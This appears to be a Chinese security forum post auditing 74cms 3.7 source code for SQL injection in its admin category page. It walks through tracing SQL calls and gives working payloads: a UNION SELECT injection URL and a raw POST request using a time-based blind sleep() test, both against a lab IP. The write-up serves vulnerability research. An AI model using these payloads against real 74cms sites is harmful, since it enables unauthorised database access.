通过对整个cms的select全局搜索得到以下关联信息,接下来就需要人力慢慢去看sql
语句了


该cms中Sql语句中只有
{$参数}
uid
以上两个参数的统一没有SQL注入,经过审计得知uid是从session中读取,cookie和传参中都没有相关值,同理可得该版本cms没有越权漏洞;

接下来就是枯燥且乏味对sql语句的搜索之旅

当审计到第67行时双击跟踪进去


可得到对应该sql语句的对应方法名

接下来全局搜索该方法名,看看该方法被那些类调用过

排除掉第三行和第四行,他们都是在重写方法,不是调用

接下来就是详细观看另外三个了

首先看第一个

发现该参数是通过get方法传递,并且没有任何的过滤,直接中奖,接下来找到对应页面测试,目标在后台,所以需要后台登录
http://169.254.136.163/74cms1/3.7/upload/admin/admin_category.php?act=edit_color&id=1

由上面找到sql的语句可以知道这是一个int类型的sql注入,那接下就简单了,甚至连sqlmap都用不到

http://169.254.136.163/74cms1/3.7/upload/admin/admin_category.php?act=edit_color&id=-1 union select 1,version()


(图1)
不过可惜的是这个是在后台中,需要管理员用户名和密码有点鸡肋

接下来看第二个


在同一个页面下面


这个也没有做过滤,不过这个方法是在图1中选择保存之后才会生效

抓包得到post数据后发现他还有一个token,经过简单的绕过之后发现并没用,说明这里虽然存在sql注入但是sqlmap用不了,也懒得写爬虫去爬hiddentoken的值去配合注入,手动证明一下就行了

Pyload:

POST /74cms1/3.7/upload/admin/admin_category.php?act=edit_color_save HTTP/1.1
Host: 169.254.136.163
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: http://169.254.136.163
Connection: close
Referer: http://169.254.136.163/74cms1/3.7/upload/admin/admin_category.php?act=edit_color&id=1
Cookie: PHPSESSID=td4j0p7kgbbnqgfig4isfmj573
Upgrade-Insecure-Requests: 1

hiddentoken=bfe00749&val=%23bc123a&id=1+and+if(length(database())>5,sleep(10),1)&addsave=%B1%A3%B4%E6

现了异常明显的延迟,说明注入成功

接下来看第三个,也是最后一个

方法内容如下

出现sql注入的方法为get_color_one(参数),这里入参为$val,由上一行可知该参数是从POST请求过来的,而且被intval()给转整了,而且使用了三目运算符,在运算符中也使用了intval(),无法使用字符和字符串,也就算无法使用sql语句中的select、from等等,当场拉闸。

之后在对剩下的sql语句进行审计时未发现更多的sql注入,但是我只是查询了select。insert,update等语句还没有审计,目前就到这里吧

点击收藏 | 0 关注 | 1
登录 后跟帖